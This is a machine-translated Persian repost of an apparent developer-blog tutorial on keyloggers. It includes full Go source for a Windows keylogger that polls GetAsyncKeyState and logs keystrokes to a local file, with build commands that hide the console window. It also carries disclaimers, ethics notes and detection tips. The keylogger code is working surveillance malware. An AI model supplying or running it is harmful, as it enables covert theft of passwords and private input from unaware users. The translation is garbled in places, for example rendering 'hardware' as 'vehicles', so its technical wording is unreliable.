برنامه نویسی

درک keyloggers – جامعه dev

مقدمه

keyloggers ابزارهای نظارتی هستند که برای ضبط کلید های ساخته شده بر روی صفحه کلید طراحی شده اند. در حالی که غالباً با فعالیت های مخرب مانند سرقت اعتبار همراه است ، keyloggers نیز در کنترل والدین ، ​​تحقیقات امنیت سایبری و تحقیقات پزشکی قانونی به اهداف قانونی خدمت می کند. این مقاله به اصول اصلی Keylogging می پردازد ، پیامدهای اخلاقی و قانونی را مورد بررسی قرار می دهد و یک اجرای مبتنی بر GO را برای آزمایش تحقیق و امنیت فراهم می کند.

سلب مسئولیت: این مقاله فقط برای تحقیقات امنیت سایبری آموزشی و اخلاقی در نظر گرفته شده است. استفاده غیرمجاز از keyloggers غیرقانونی است و قوانین حریم خصوصی را در اکثر حوزه های قضایی نقض می کند.


چگونه keyloggers کار می کند

keyloggers در چندین سطح در یک سیستم کار می کند:

1. keyloggers مبتنی بر نرم افزار

  • keyloggers مبتنی بر API: قلاب به توابع سیستم که ورودی صفحه کلید را کنترل می کنند (به عنوان مثال ، getAsynCkeyState در ویندوز).

  • Keyloggers مبتنی بر قلاب: قبل از رسیدن به برنامه ها ، از قلاب های گسترده سیستم برای رهگیری کلیدها استفاده کنید.

  • keyloggers شکل دهنده: فرم های وب و زمینه های ورودی برنامه را برای ضبط داده ها قبل از رمزگذاری هدف قرار دهید.

2. keyloggers مبتنی بر وسایل نقلیه

  • چوب های USB فیزیکی: برای ذخیره کلیدها به صفحه کلید وصل شده است.

  • keyloggers در سطح سیستم عامل: در سیستم عامل صفحه کلید تعبیه شده است و بدون تشخیص نرم افزار ، کلید های کلید را ضبط می کند.

keyloggers در سطح Kernnel-Level

  • در پایین ترین سطح سیستم عامل کار کنید ، که اغلب از ریشه های ریشه ای برای فرار از تشخیص استفاده می کنید.

  • به امتیازات بالا نیاز دارید و مستقیماً با درایور صفحه کلید سیستم عامل تعامل دارید

برای این راهنما ، ما روی یک keylogger مبتنی بر نرم افزار در GO تمرکز خواهیم کرد و از ویندوز API برای ضبط کلید استفاده می کنیم.


اجرای یک keylogger در go

پیش نیازهای

برای کامپایل و اجرای یک keylogger مبتنی بر ویندوز ، به شما نیاز دارید:

  • برو نصب شده (بارگیری)

  • یک دستگاه ویندوز یا راه اندازی متقابل (به عنوان مثال ، Mingw-W64 برای کاربران لینوکس)

  • درک اساسی از تماس های سیستم و API ویندوز

تنظیم محیط توسعه خود

اگر در لینوکس هستید و می خواهید برای ویندوز کامپایل کنید ، MINGW-W64 را نصب کنید:
sudo apt install mingw-w64
برای ساخت ویندوز در لینوکس:
go build -o keylogger.exe -ldflags "-H windowsgui"

در زیر یک keylogger مبتنی بر حداقل GO است که با استفاده از API ویندوز ، کلیدها را کنترل می کند.


package main

import (
    "fmt"
    "os"
    "syscall"
    "unsafe"
    "time"
)

var (
    user32        = syscall.NewLazyDLL("user32.dll")
    getAsyncKey   = user32.NewProc("GetAsyncKeyState")
)

func logKey(key int, file *os.File) {
    timestamp := time.Now().Format("2006-01-02 15:04:05")
    logEntry := fmt.Sprintf("[%s] Key Pressed: %d\n", timestamp, key)
    file.WriteString(logEntry)
}

func keylogger() {
    logFile, err := os.OpenFile("keystrokes.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        fmt.Println("Error opening log file:", err)
        return
    }
    defer logFile.Close()

    for {
        for key := 0; key < 256; key++ {
            state, _, _ := getAsyncKey.Call(uintptr(key))
            if state&0x8000 != 0 {
                logKey(key, logFile)
            }
        }
        time.Sleep(10 * time.Millisecond) // Reduce CPU usage
    }
}

func main() {
    fmt.Println("Starting Keylogger...")
    keylogger()
}

حالت تمام صفحه را وارد کنید

از حالت تمام صفحه خارج شوید

چگونه این کد کار می کند

  • از GetAsynCkeyState استفاده می کند تا بررسی کند که آیا یک کلید فشرده شده است یا خیر.

  • کلید های کلید را به KeysTrokes.log با Timestamps وارد کنید.

  • در یک حلقه اجرا می شود و تمام مقادیر کلیدی ممکن (0-255) را کنترل می کند.

  • شامل یک تأخیر کوچک برای کاهش مصرف CPU است.

گردآوری keylogger
go build -o keylogger.exe

این یک فایل keylogger.exe ایجاد می کند که هنگام اجرای ویندوز ، کلید های کلید را به KeyStrokes.log وارد می کند.


ملاحظات اخلاقی و حقوقی

در حالی که می توان از keyloggers برای تحقیقات امنیت سایبری و امنیت دفاعی استفاده کرد ، استفاده غیرمجاز یک جرم جدی است. همیشه قبل از استفاده از نرم افزار نظارت ، رضایت صریح را بدست آورید. جنبه های کلیدی که باید در نظر بگیرید:

  • قانونی بودن: keylogging غیرمجاز می تواند قوانین محافظت از داده ها را نقض کند (به عنوان مثال ، GDPR ، CFAA ، قانون جرایم سایبری نیجریه).

  • اخلاق: حتی در آزمایش امنیتی ، شفافیت مهم است – نظارت بر کاربران.

  • اقدامات امنیتی: سازمانها باید تکنیک های ضد لگزینگ مانند کلیدهای رمزگذاری شده ، احراز هویت سخت افزار و تشخیص نفوذ را پیاده سازی کنند.

نحوه تشخیص و جلوگیری از keyloggers

اگر نگران Keyloggers مخرب هستید ، اقدامات امنیتی زیر را در نظر بگیرید:

  • از نرم افزار ضد Keylogger استفاده کنید: ابزارهای امنیتی می توانند ورود به سیستم مشکوک کلید را تشخیص دهند.

  • تأیید هویت چند عاملی (MFA): حتی اگر یک رمز عبور ضبط شود ، MFA از دسترسی غیرمجاز جلوگیری می کند.

  • نظارت بر فرآیندهای در حال اجرا: از Task Manager (Windows) یا HTOP (Linux) استفاده کنید تا فرآیندهای ناشناخته را بررسی کنید.

  • Encrypt Keystrokes: برخی از نرم افزارهای امنیتی کلیدهای کلیدی را در سطح سیستم عامل قرار می دهند.


پایان

keyloggers ابزارهای قدرتمندی است که می تواند برای اهداف اخلاقی و مخرب قابل استفاده باشد. درک چگونگی کار آنها برای متخصصان امنیت سایبری ، آزمایش کنندگان نفوذ و تحلیلگران بدافزار بسیار مهم است. در این مقاله ، اجرای مبتنی بر GO ، تقویت اهمیت تحقیقات امنیتی مسئول ارائه شده است.

برای اکتشافات بیشتر ، ساخت سیستم های تشخیص keylogger ، تجزیه و تحلیل بردارهای حمله پیشرفته و تحقیق در مورد اقدامات متقابل ضد لگد را در نظر بگیرید.

مراحل بعدی:

اگر به مهندسی معکوس تر ، بهره برداری از توسعه یا تحقیقات امنیتی علاقه دارید ، احساس راحتی کنید. هک شدن اخلاقی در مورد درک ، جلوگیری و تأمین امنیت سیستم ها است ، نه فقط حمله به آنها.

به من برسید:

من به امنیت سایبری ، بهره برداری از توسعه و مهندسی معکوس علاقه مندم. اگر می خواهید در مورد تحقیقات امنیتی ، هک شدن اخلاقی یا آخرین پروژه های من بحث کنید ، با من ارتباط برقرار کنید:

تلگرام: @inthe4byss
X: @1nthebysss
reddit: @1nthe4byss

بیایید با هم امنیت بهتری بسازیم!

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا